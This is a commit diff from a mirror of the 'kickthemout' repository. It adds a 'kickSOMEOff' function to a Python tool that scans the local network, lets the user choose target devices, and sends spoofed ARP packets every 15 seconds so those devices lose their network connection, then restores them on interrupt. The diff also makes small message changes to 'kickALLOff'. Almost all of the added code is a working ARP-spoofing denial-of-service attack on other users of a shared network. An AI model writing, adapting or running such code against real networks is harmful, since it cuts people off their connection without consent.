mirror of
https://github.com/k4m4/kickthemout.git
synced 2024-11-25 14:34:23 +01:00
kickALLOff, kickSOMEOff added
This commit is contained in:
parent
bc3f79a1b3
commit
e0a56e0b54
@ -38,6 +38,7 @@ def heading():
|
|||||||
|
|
||||||
def optionBanner():
|
def optionBanner():
|
||||||
print('\nChoose option from menu:\n')
|
print('\nChoose option from menu:\n')
|
||||||
|
sleep(0.2)
|
||||||
print('\t{0}[{1}1{2}]{3} Kick ONE Off').format(YELLOW, RED, YELLOW, WHITE)
|
print('\t{0}[{1}1{2}]{3} Kick ONE Off').format(YELLOW, RED, YELLOW, WHITE)
|
||||||
sleep(0.2)
|
sleep(0.2)
|
||||||
print('\t{0}[{1}2{2}]{3} Kick SOME Off').format(YELLOW, RED, YELLOW, WHITE)
|
print('\t{0}[{1}2{2}]{3} Kick SOME Off').format(YELLOW, RED, YELLOW, WHITE)
|
||||||
@ -115,7 +116,66 @@ def kickoneoff():
|
|||||||
|
|
||||||
|
|
||||||
def kicksomeoff():
|
def kicksomeoff():
|
||||||
print('kicksomeoff')
|
os.system("clear||cls")
|
||||||
|
|
||||||
|
print("\n{0}kickSOMEOff{1} selected...{2}\n").format(RED, GREEN, END)
|
||||||
|
scanNetwork()
|
||||||
|
|
||||||
|
print("Online IPs: ")
|
||||||
|
|
||||||
|
for i in range(len(onlineIPs)):
|
||||||
|
mac = ""
|
||||||
|
for host in hostsList:
|
||||||
|
if host[0] == onlineIPs[i]:
|
||||||
|
mac = host[1]
|
||||||
|
vendor = resolveMac(mac)
|
||||||
|
print(" [{0}" + str(i) + "{1}] {2}" + str(onlineIPs[i]) + "{3}\t" + vendor + "\n{4}").format(YELLOW, WHITE,
|
||||||
|
RED, GREEN, END)
|
||||||
|
|
||||||
|
canBreak = False
|
||||||
|
while not canBreak:
|
||||||
|
try:
|
||||||
|
choice = raw_input("\nChoose the targets (separate by a ','): ")
|
||||||
|
canBreak = True
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
return
|
||||||
|
|
||||||
|
some_targets = choice.split(",")
|
||||||
|
|
||||||
|
some_ipList = ""
|
||||||
|
for i in some_targets:
|
||||||
|
try:
|
||||||
|
some_ipList = some_ipList + GREEN + "'" + RED + onlineIPs[int(i)] + GREEN + "', "
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
return
|
||||||
|
except:
|
||||||
|
print("\n{0}ERROR: '{1}" + i + "{2}' is not in the list.{3}\n").format(RED, GREEN, RED, END)
|
||||||
|
return
|
||||||
|
some_ipList = some_ipList[:-2] + END
|
||||||
|
|
||||||
|
print("\n{0}Targets: {1}" + some_ipList).format(GREEN, END)
|
||||||
|
|
||||||
|
print("\n{0}Spoofing started... {1}\n").format(GREEN, END)
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
for i in some_targets:
|
||||||
|
ip = onlineIPs[int(i)]
|
||||||
|
for host in hostsList:
|
||||||
|
if host[0] == ip:
|
||||||
|
spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
|
||||||
|
time.sleep(15)
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
|
||||||
|
rearp = 1
|
||||||
|
while rearp != 10:
|
||||||
|
for i in some_targets:
|
||||||
|
ip = onlineIPs[int(i)]
|
||||||
|
for host in hostsList:
|
||||||
|
if host[0] == ip:
|
||||||
|
spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
|
||||||
|
rearp = rearp + 1
|
||||||
|
time.sleep(0.5)
|
||||||
|
print("\n{0}Re-arped{1} targets.{2}").format(RED, GREEN, END)
|
||||||
|
|
||||||
|
|
||||||
def kickalloff():
|
def kickalloff():
|
||||||
@ -146,7 +206,7 @@ def kickalloff():
|
|||||||
scanNetwork()
|
scanNetwork()
|
||||||
time.sleep(15)
|
time.sleep(15)
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
print("\n{0}Re-arping{1} target...{2}").format(RED, GREEN, END)
|
print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
|
||||||
rearp = 1
|
rearp = 1
|
||||||
while rearp != 10:
|
while rearp != 10:
|
||||||
for host in hostsList:
|
for host in hostsList:
|
||||||
@ -154,9 +214,7 @@ def kickalloff():
|
|||||||
spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
|
spoof.sendPacket(defaultGatewayMac, defaultGatewayIP, host[0], host[1])
|
||||||
rearp = rearp + 1
|
rearp = rearp + 1
|
||||||
time.sleep(0.5)
|
time.sleep(0.5)
|
||||||
print("\n{0}Re-arped{1} target.{2}").format(RED, GREEN, END)
|
print("\n{0}Re-arped{1} targets.{2}").format(RED, GREEN, END)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def getDefaultInterface():
|
def getDefaultInterface():
|
||||||
@ -209,6 +267,7 @@ def resolveMac(mac):
|
|||||||
return "RESOLVING_ERROR"
|
return "RESOLVING_ERROR"
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
|
|
||||||
heading()
|
heading()
|
||||||
|
|
||||||
print(
|
print(
|
||||||
@ -227,8 +286,8 @@ def main():
|
|||||||
choice = raw_input(header)
|
choice = raw_input(header)
|
||||||
|
|
||||||
if choice.upper() == 'E' or choice.upper() == 'EXIT':
|
if choice.upper() == 'E' or choice.upper() == 'EXIT':
|
||||||
print('Thanks for dropping by!')
|
print('\n{0}Thanks for dropping by.'
|
||||||
print('Catch ya later!')
|
'\nCatch ya later!{1}').format(GREEN, END)
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
elif choice == '1':
|
elif choice == '1':
|
||||||
kickoneoff()
|
kickoneoff()
|
||||||
@ -245,8 +304,8 @@ def main():
|
|||||||
# print('*INVALID OPTION*')
|
# print('*INVALID OPTION*')
|
||||||
|
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
print('\nThanks for dropping by.'
|
print('\n\n{0}Thanks for dropping by.'
|
||||||
'\nCatch ya later!{0}').format(END)
|
'\nCatch ya later!{1}').format(GREEN, END)
|
||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
|
Loading…
Reference in New Issue
Block a user